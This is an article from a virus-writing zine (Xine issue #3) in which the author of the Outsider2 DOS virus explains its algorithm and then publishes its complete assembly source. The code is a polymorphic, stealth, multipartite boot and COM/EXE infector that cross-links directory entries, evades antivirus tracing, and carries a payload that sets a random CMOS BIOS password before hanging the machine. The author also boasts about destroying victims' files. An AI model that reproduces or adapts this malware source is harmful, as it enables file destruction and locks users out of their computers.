Copy Link
Add to Bookmark
Report
Xine - issue #3 - Phile 300
/-----------------------------\
| Xine - issue #3 - Phile 300 |
\-----------------------------/
Outsider2 virus by Vecna/29A
Here is the algorithm of my Outsider2, the last of the serie that I have
written. It has polymorphism, infects EXEs and COMs, converts his entry
in the root dir to volume label, in order to stops the access to DOS
functions and like all the others members of Ousider family, this has
a magnific payload... :)
The algorithm is descripted here because I saw that are very rare the
viruses using this technique. Only Dir2, ByWay and Ousider use it. Dir2
and ByWay uses a different method, based in the manipulation of the
DOS control block for disks. Outsider is the only one that uses the
int 13 directly to do its job. Outsider can use like a vector for
spreading to all antiviruses, including those that uses his own file
engines, like TBAV.
1. The virus body is decrypted, with a simple polymorphic routine,
that changes the registers used.
2. The virus calls the routine anti-trace(25), to avoid emulation
of the virus code. The routine returns a 3 only if anybody is
emulating the code.
3. Some variables are initialized, like the values for the encryptation,
and the number of directories to read before the hooking of the int 13,
if the virus is in a boot sector.
4. The virus verifies if exists a PSP. If it didn't exists, that means
that the virus is in a boot sector, then it jumps to 10.
5. The virus calls int 13 to test if it is already resident. The only case
in which the virus can be read and be already resident is when it is in
a damaged host, that, for example, was copied without the virus resident.
If it is already, jumps to 8.
6. The infection of the HD is called(14) and the int13 is hooked(12).
7. The date is verified, and if three months have passed between today
and the day when this host was infected (that is calculated in 10),
we jumps to our payload(24). If it isn't, jumps to 9.
8. The virus code modifies some instructions, then the virus instead
of reexecution will erase itself. We don't want to have copies easy
to examine over there ;)
9. The virus searchs its name in the environment, frees memory, and
then re-executes(erases) and stays resident(exits to DOS). Because
the int13 is our, the virus won't be viewed. If it is realized, 5
will detect and will erase it.
10. We read the MBR at 0:7c00. We just infects floppies, but we
continue the booting from the HD, then the user won't see that
he is doing a crap (booting with a strange disk).
11. We adjust the memory of the int12, we copy ouserlves, and we go to
TOM (Top of Memory). The stack is 0:7c00, then a RETF will give us
the original MBR.
12. Here we hook the int13, manipulating the IVT. A RETF returns to
MBR or to the code of the file that called us.
13. In this sub-routine we create the polymorphic decryptor, we copy
and encrypt the virus in a buffer.
14. Here we infect the hard disk. We try to open the file 0xff, and if
we are sucessfull, we take the inicial cluster using SFT. Otherwise,
we calculate the month of activation, the value for encryption of the
pointer to the original clusters. Then, we create the virus in the root
dir, we write the code, and then the we examine SFT.
[***BUG***]
Sometimes, the virus, won't be able to open the file 0xff because it
is marked as VOLUME LABEL. Then, another copy will be created. But there
isn't problem, because in the next boot, only the first copy will remain,
and the other ones will be erased. But the files infected by this copy,
which have a different cluster than the volume label, will stay destroyed.
Well, generally, in the first boot, Outsider2 infects *ALL* the disk,
for that reason that copy with wrong information about the clusters,
probably only will infects floppies, that doesn't use the cluster
number... ;-)
And, if the virus is volume label, that means it already infected the
root dir. Then the COMMAND.COM sure is infected. Then why the virus isn't
resident?? People that try to boot by floppies and next executes something
in the hard disk are to fool and deserve to have their files destroyed... :-)
15. When the reading of a floppy, we come here. If is the boot sector and it
isn't infected yet, we calculate, using the BPB, the last sector of the
floppy root dir, and we copy ourselves there, encrypted. This let us
capabilities to infect floppies of all sizes, from 360kb to optical floppies
of 20mb!! The boot sector is overwriten with a loader for the virus code, and
the original boot, used for stealth, goes to the root dir.
Now we read that sector, where is the original boot, in the buffer of the
caller. Then, we have always stealth, because the infected disks have thee
their original information.
16. My int28 handler. This handler calls to infectdrive(14) and unhook itself
from int28. We use this because we need to DOS for the creation of our file
in the root dir, but we need only to call int21h while DOS isn't using it,
and not in the middle of an int13.
17. This is the main routine of the virus, the int13 handler. It calls the
routine anti_trace(25), and goes to 15 if is an operation with floppies.
18. We verify if the sector that is viewing/written is a directory, verifying
32 entries, looking for "EXE" or "COM" in the right place. That maybe looks
that a not very good check, but if isn't a directory entry, it will rebound
in the next checks.
19. If we are using the int28, we won't infect, we just will do stealth. If
weren't read the enough number of sectors of directories (we are in a
floppy), the counter is decremented and we do stealth(23)
20. If is time to infect the HD(we are in a floppy), we hook int28 and jumps
to stealth(23)
21. Now, in a loop, we verify all the entries of that sector, which have a
directory. If is my file 0xff, is converted to volume label. If is an EXE or
COM, and isn't a file that we can't infect (EXE files that will be loaded as
driver by CONFIG.SYS), we infect it.
22. The infection consist in set the read-only attribute, encrypt the
original cluster and set our, save the size of the file and set our, and set
our mark. But, before we verify if the entry is free, because win95 uses it.
Now, the modifications are written to disk.
The read-only attribute is necesary, because, otherwise the virus can be
overwritten while copying a file, destroying its copy in the root. If is read-
only, the user must use CHMOD or another program, that will be infected, and
when going resident, it will activate the full stealth. ;-)
We set our size in the place of the host's size because our virus, when
is read, acts like a COM. And if is an EXE, can't exceed 64kb or we will have
an error. ;-)
23. Here we disinfect the directory entry recently read, to hide the virus.
And if the entry has our mark, we arrange all the data like it was before
our infection. But these modifications aren't written to disk, then we
have full stealth.
24. This is the payload, that surely is the causant of lot of phone call to
technics. Consists in put a password in the POST section of the boot, in the
CMOS. Then, every time when the computer is turned on, the password will be
required.
To begin, with 1/4 probability, we prints in the screen the virus's
copyright, and some lines more. Then in the ROM we look for the marks
of AMI or AWARD. Differents routines takes control to set the password,
depending of the manufacturer. Those BIOSes are the common ones, and
are used for 90% of the machines. The password is random, and the checksum
is corrected. Then, the machine hangs up in an infinite loop, with the
interruptions deactivated, to avoid a simple CTRL+ALT+DEL. The user must
press reset, that gives him more work :P
25. The anti-trace routine verifies the stack, and if it founds problems,
it jumps to payload(24). This routine prevents that a tunneler, except
emulators, pass the virus.
And here is the source of Outsider2. I must thanks to Eternal Maverick
of SGWW, that helped me to betatest this virus, and is always a source of
inspirative ideas.
; [OUTSIDER 2] by Vecna/29A
; Written when a member of Stealth Group World Wide
;
; Multipartite COM/EXE/BOOT infector
; Full stealth in files and boot sectors
; Infect COM/EXE files throught cross-linking
; Polymorphic (weak)
; Have a nasty payload (put a password in CMOS)
;
; Thanks to Eternal Maverick for the bug checking
; Thanks for all the guys from Undernet #virus
; Thanks to Int13h and b0z0, that letme put this in the place
; of the 'stoled' SpiceGirl ;-)
;
.model tiny
.386
.code
.startup
v_size equ offset lastbyte-offset startvir
v_size_r equ ((offset lastbyte-offset startvir+100h+0fh) / 10h)*2
v_size_s equ (offset lastbyte-offset startvir+01ffh) / 200h
com_ofs equ 0100h
_dword equ 4
_word equ 2
_byte equ 1
count equ com_ofs-_byte
mypos equ count-_word
i13 equ mypos-_dword
myuse equ i13-_byte
old28 equ myuse-_dword
startvir:
push ax
dec bx
poly1 equ byte ptr $
mov si, offset lastbyte
crypt:
xor byte ptr cs:[si], 00 ; Backward decryption loop
value equ byte ptr $ -1
poly2 equ byte ptr $ -2
poly3 equ byte ptr $
dec si ; Avoid 'go' command in debug
poly4 equ byte ptr $ +1
cmp si, offset startenc-1 ; and 'F4' in td
je instalacao
jmp crypt
startenc:
db 00,'Written by Vecna/SGWW in Brazil 1997',00
instalacao:
push cs
pop ds
call antitrace ; Stack checking code
nonzero:
in al, 40h ; Choose value for encryption
or al, al ;
jz nonzero ; Must be != 0
mov byte ptr ds:[value], al
mov byte ptr ds:[value2], al
mov byte ptr ds:[count], 20h ; No. of dir reads before hook 21
mov byte ptr ds:[myuse], 0h
mov word ptr ds:[mypos], -1 ; Init vars
cmp word ptr ds:[0], 020cdh
push 0
pop ds
jne boot ; If not PSP is boot
mov ah, 0fbh
int 13h ; Install check
jnc sair ; If already resident and the
; virus is still read, delete
call infectdrive ; Infect the drive C:
push cs ; prepare for a retf
push cs
pop es
call hook ; hook int 13
mov ah, 2ah
int 21h
cmp dh, 00 ; Three months have passed?
mes equ byte ptr $ -1
jne nopayload
jmp payload
sair:
mov byte ptr cs:[del], 41h ; Change to UNLINK
dec byte ptr cs:[quit] ; Change to TERMINATE
nopayload:
mov ah, 0dh
int 21h ; Flush disk buffers
cld
mov es, word ptr cs:[2ch] ; Get environment
xor ax, ax
mov di, 1
seek:
dec di
scasw
jne seek ; Get argv[0]
add di, 2
mov dx, di
push es
pop ds
push cs
pop es
mov ah, 4ah ; Resize mem block
mov bx, v_size_r
int 21h
mov word ptr cs:[psp1], ax ; Setup for EXEC
mov word ptr cs:[psp2], ax
mov word ptr cs:[psp3], ax
mov ax, 4b00h
del equ byte ptr $ -1
mov bx, offset paramblock
int 21h ; Exec (stealth is now enabled)
mov ah, 4dh
quit equ byte ptr $ -1
int 21h ; Get ERROR LEVEL
mov ah, 31h
mov dx, v_size_r
int 21h ; Terminate but stay resident
boot:
mov ax, 0201h
mov cx, 1 ; Read MBR to 0:7c00
mov dx, 80h
mov bx, 7c00h
push ds
pop es
int 13h
push es
push bx
sub word ptr ds:[413h], v_size_s
int 12h ; Decrement mem
shl ax, 6
push ax
pop es
push cs
pop ds
cld
xor di, di
mov si, di
mov cx, v_size+0100h
rep movsb ; Copy virus to high mem
push 0
pop ds
hook:
cli ; Hook int 13
lgs bx, dword ptr ds:[13h*4]
mov word ptr es:[i13], bx
mov ax, gs ; Use of GS will confuse some AVs
mov word ptr es:[i13+2], ax
mov ax, offset int13
mov word ptr ds:[13h*4], ax
mov ax, es
mov word ptr ds:[13h*4+2], ax
sti
retf ; Execute MBR or retf to file
; installation
Table equ this byte
db 0bbh, 37h, 4bh, 0fbh
db 0beh, 34h, 4eh, 0feh
db 0bfh, 35h, 4fh, 0ffh
encrypt:
xor ax, ax
RetryZero:
in al, 40h
and al, 011b
cmp al, 3
je RetryZero
mov cl, 4
mul cl
mov si, offset Table
add si, ax
lodsb
mov byte ptr [poly1], al
lodsb
mov byte ptr [poly2], al
lodsb
mov byte ptr [poly3], al
lodsb
mov byte ptr [poly4], al
mov si, offset startvir
mov di, offset lastbyte
mov cx, v_size ; Encrypt virus code
cryptloop:
lodsb
cmp si, offset startenc ; Still in decoder?
jbe store ; then no encrypt
xor al, 00
value2 equ byte ptr $ -1
store:
stosb
loop cryptloop
ret
infectdrive:
pusha ; save all
push es
push ds
push cs
push cs
pop ds
pop es
mov ax, 3d00h ; try open the file
mov dx, offset filename
int 21h
xchg ax, bx
jnc getsft
mov ah, 2ah
int 21h ; Get current date
mov al, dh
add al, 3 ; add 3 months
cmp al, 12
jbe noyear ; in a new year?
sub al, 12
noyear:
mov byte ptr [mes], al ; put month to activate
in al, 40h
xchg ah, al
in al, 40h ; get encryption for start_cluster
mov word ptr [encval1], ax
mov word ptr [encval2], ax
mov ah, 3ch ; error, then create file
mov cx, 7
mov dx, offset filename
int 21h
push ax
call encrypt
pop bx
mov ah, 40h
mov cx, v_size ; write encrypted virus
mov dx, offset lastbyte
int 21h
getsft:
push bx
mov ax, 1220h
int 2fh ; get SFT
mov bl, byte ptr es:[di]
mov ax, 1216h
int 2fh
pop bx
mov ax, word ptr es:[di+11] ; Get Starting cluster of file
mov word ptr ds:[mypos],ax
mov ah, 3eh
int 21h ; Close
pop ds
pop es
popa ; pop all and return
ret
call13:
pushf
call dword ptr cs:[i13] ; call old int 13
ret
bootinfect:
cmp ax, 201h ; read?
jne error
cmp cx, 1
jne error
cmp dh, 0 ; in boot?
jne error
call call13 ; call the int
jc exiterror
infectfloppy:
pushf
pusha
push es
push ds
push es
pop ds
mov ax, word ptr cs:[boot_start]
cmp word ptr [bx+3eh], ax ; check if already infected
je stealth
call getsectordir ; get last sector of root dir
push cs
pop ds
push ax
sub al, v_size_s ; reserve space for virus
mov word ptr [load_cx], ax
pop cx
mov ax, 301h
mov dh, 1
call call13 ; write old boot to end of root
add bx, 3eh
mov cx, offset boot_end-offset boot_start
mov si, offset boot_start
mov di, bx
rep movsb ; copy loader to old boot
mov ax, 301h
sub bx, 3eh
inc cx
xor dh, dh
call call13 ; write old boot (overwrited by
; loader)
push cs
pop es
call encrypt ; encrypt virus
mov ax, 300h+v_size_s
mov cx, word ptr [load_cx]
mov dh, 1
mov bx, offset lastbyte
call call13 ; write virus
stealth:
pop ds
pop es
popa
popf ; read the old boot
push ds ; from last sector of root
push es
pop ds ; always read boot from there
call getsectordir ; to mascarate a infection
mov cx, ax ; done or to do stealth
mov dh, 1
mov ax, 201h
call call13
pop ds
jmp exiterror
error:
call call13
exiterror:
retf 2
getsectordir:
mov cx, word ptr [bx+11h] ; Get last sector of root dir
shr cx, 4 ; in floppy
xor ax, ax
mov al, byte ptr [bx+10h]
mul word ptr [bx+16h]
add ax, cx
inc ax
sub ax, word ptr [bx+18h]
ret
int28:
pusha
push ds
push 0
pop ds
inc byte ptr cs:[myuse]
mov ax, word ptr cs:[old28]
mov word ptr ds:[28h*4], ax ; Unhook int 28
mov ax, word ptr cs:[old28+2]
mov word ptr ds:[28h*4+2], ax
call infectdrive ; now we can safely infect the hd
pop ds
popa
iret
int13:
cmp ah, 0fbh ; res check
jne notcheck
clc
iret
notcheck:
call antitrace
cmp dl, 80h
jne bootinfect ; if in floppy, try to infect boot
hdinfect:
mov word ptr cs:[save_dx], dx
mov word ptr cs:[save_cx], cx
call call13
jc exitint
pushf
pusha
push es
push ds
push es
pop ds
pusha
sub bx, 32 ; scan sector to verify if is
mov cx, 16 ; a sector from a dir
xor ax, ax
loopcheck:
add bx, 32
cmp word ptr [bx.ds_ext], 'XE'
jne TryCOM
dec ax
TryCOM:
cmp word ptr [bx.ds_ext], 'OC'
jne notexe
dec ax
notexe:
loop loopcheck
or ax, ax
popa
je notdir ; Find a COM/EXE in right pos?
cmp word ptr cs:[mypos], -1
jne infect ; Can we infect?
cmp byte ptr cs:[myuse], 0
jne memdisinfect ; We using the int 13
dec byte ptr cs:[count]
cmp byte ptr cs:[count], 0
jne memdisinfect ; Enought dir read to hook 21
dec byte ptr cs:[myuse]
pusha
push ds
push 0
pop ds
mov ax, offset int28
xchg ax, word ptr ds:[28h*4]
mov word ptr cs:[old28], ax
mov ax, cs ; hook int 28 (dos idle)
xchg ax, word ptr ds:[28h*4+2]
mov word ptr cs:[old28+2], ax
pop ds
popa
jmp memdisinfect
infect:
pusha
pushad
sub bx, 32
mov cx, 16 ; Scan dir to cross-link EXE files
infectloop:
add bx, 32
cmp byte ptr [bx.ds_name], 0ffh ; Is my 0xFF file??
jne NotVolume
or byte ptr [bx.ds_attr], 00001000b ; Put Volume Label
jmp DoLoop
NotVolume:
cmp dword ptr [bx.ds_res], 0
jnz doloop ; the reserved bytes are empty?
cmp word ptr [bx.ds_ext], 'XE'
je CanInfect ; is a EXE file?
cmp word ptr [bx.ds_ext], 'OC'
jne doloop ; is a COM file?
CanInfect:
cmp word ptr [bx.ds_size], v_size
jb doloop ; Bigger than me?
mov eax, dword ptr [bx.ds_name]
cmp eax, 'RAHS' ; SHARE?
je doloop
cmp eax, '3MME' ; EMM386?
je doloop
cmp eax, 'VTES' ; SETVER?
je doloop
cmp eax, 'SVRD' ; DRVSPACE?
je doloop
cmp eax, 'ETNI' ; INTERSRV?
je doloop
cmp eax, 'EZIS' ; SIZER?
je doloop
or byte ptr [bx.ds_attr], 00000001b ; Put read only on file
mov ax, word ptr [bx.ds_s_c]
xor ax, 0h ; Encrypt host starting cluster
encval1 equ word ptr $-2
mov word ptr [bx.ds_res], 'cV' ; Your mark (Vc=Vecna)
mov word ptr [bx.ds_res+2], ax ; Save start cluster(encrypted)
mov eax, dword ptr [bx.ds_size]
mov dword ptr [bx.ds_res+4], eax ; Save host size
mov ax, word ptr cs:[mypos]
mov word ptr [bx.ds_s_c], ax ; And cross-link to your pos
mov dword ptr [bx.ds_size], v_size
doloop:
dec cx
jcxz Done
jmp infectloop ; do for all sector
Done:
popad
mov ax, 301h
mov cx, 0000
save_cx equ word ptr $ -2
mov dx, 0000
save_dx equ word ptr $ -2
call call13 ; Write the changes
popa
memdisinfect:
pushad
sub bx, 32
mov cx, 16 ; Disinfect in memory
loopdisinfect:
add bx, 32
cmp word ptr [bx.ds_res], 'cV' ; Is infected?
jne doloop2
mov ax, word ptr [bx.ds_res+2]
xor ax, 0h ; Restore start cluster
encval2 equ word ptr $-2
mov word ptr [bx.ds_s_c], ax
mov eax, dword ptr [bx.ds_res+4]
mov dword ptr [bx.ds_size], eax ; Restore host size
xor eax, eax
mov dword ptr [bx.ds_res], eax ; Hide changed bytes
mov dword ptr [bx.ds_res+4], eax
doloop2:
loop loopdisinfect ; Do for all sector
popad
notdir:
pop ds
pop es
popa
popf
exitint:
retf 2
payload:
push cs
pop ds
in al, 40h
and al, 00000011b ; 1/4 chance to show message
or al, al
jnz checkbios
printmsg:
mov ax, 3
int 10h
cld
xor bx, bx
call next
db 10,13,7
db 10,13,7
db 10,13,7
db '[OUTSIDER 2] Ahh... Eu to maluco...',10,13
db 'Escrito em Santa Catarina',10,13
db 'O Sul meu pais...',10,13
db 'Abaixo o neoliberalismo',10,13,00
next:
pop si
pnext:
mov ah, 0eh
lodsb
int 10h ; Print string
or al, al
jnz pnext
checkbios:
push 0f000h
pop es
xor di, di
mov cx, -1
scan:
pusha
mov si, offset award ; Scan ROM for BIOS manufacturer
mov cx, 5
repe cmpsb
popa
jz award_psw ; Is a AWARD machine
inc di
loop scan
ami_psw:
mov ax, 002fh ; else is a AMI...
call read
mov bx, ax ; if isn't AMI, erase CMOS
mov al, 2dh
call step1
or al, 00010000b ; Always ask psw
call step2
mov al, 2fh
mov dh, bl
call write
mov al, 3eh
call read
mov ah, al
mov al, 3fh ; rewrite cmos checksum
call read
mov bx, ax
mov ax, 0038h
call rndpsw ; Put a random password
mov al, 39h
call rndpsw ; Put a random password
mov dh, bh
mov al, 3eh
call write
mov dh, bl
mov al, 3fh
call write ; rewrite cmos checksum
jmp hehehe
award_psw:
mov ax, 002fh
call read
mov bx, ax
mov al, 11h
call step1
or al, 00000001b ; ask password in POST
call step2
mov al, 1bh
call step1
or al, 00100000b ; always ask password
call step2
mov al, 2fh
mov dh, bl
call write ; do checksum
mov al, 7dh
call read
mov ah, al
mov al, 7eh
call read
mov bx, ax
mov ax, 0050h
call rndpsw
mov al, 51h
call rndpsw ; put a random password
mov dh, bh
mov al, 7dh
call write
mov dh, bl
mov al, 7eh
call write ; do checksum
hehehe:
cli
jmp $ ; hang cpu
read:
and al, 7fh ; read byte from cmos
out 70h, al
jmp $+2
jmp $+2
in al, 71h
ret
write:
and al, 7fh ; write byte from cmos
out 70h, al
jmp $+2
mov al, dh
out 71h, al
ret
rndpsw:
mov dh, al ; put random password and
call read ; do their checksum
sub bx, ax
in al, 40h
add bx, ax
xchg al, dh
call write
ret
step1:
mov dh, al ; checksum processing
call read
sub bx, ax
ret
step2:
add bx, ax ; checksum processing
xchg al, dh
call write
ret
award db 'AWARD'
antitrace:
pushf
push ax ; Do a stack check like TBAV
push bx
pop bx
dec sp
dec sp
pop ax
cmp ax, bx ; Tracing?
pop ax
jne payload
ok:
popf
ret
boot_start equ word ptr $
mov ax, 7e0h ; Load virus code in 07e0:0100
mov es, ax
mov bx, 100h
mov cx, 0h
load_cx equ word ptr $ -2 ; Where the virus code is stored
mov dx, 100h
cli
mov sp, 7c00h
mov ax, cs ; Set stack to 0:07c00 (classic!)
mov ss, ax
sti
mov ax, 200h+v_size_s
int 13h
db 0eah
dw 0100h ; do a far jmp to 07e0:0100
dw 07e0h
boot_end equ $
filename db 'C:\',255,0 ; filename is 0xff
paramblock dw 0 ; block need for EXEC
dw 0080h
psp1 dw 0
dw 005ch
psp2 dw 0
dw 006ch
psp3 dw 0
dir struc
ds_name db 8 dup (?)
ds_ext db 3 dup (?) ; structure to access dir sector
ds_attr db 1 dup (?)
ds_res db 10 dup (?)
ds_time db 4 dup (?)
ds_s_c db 2 dup (?)
ds_size db 4 dup (?)
ends
lastbyte equ this byte
end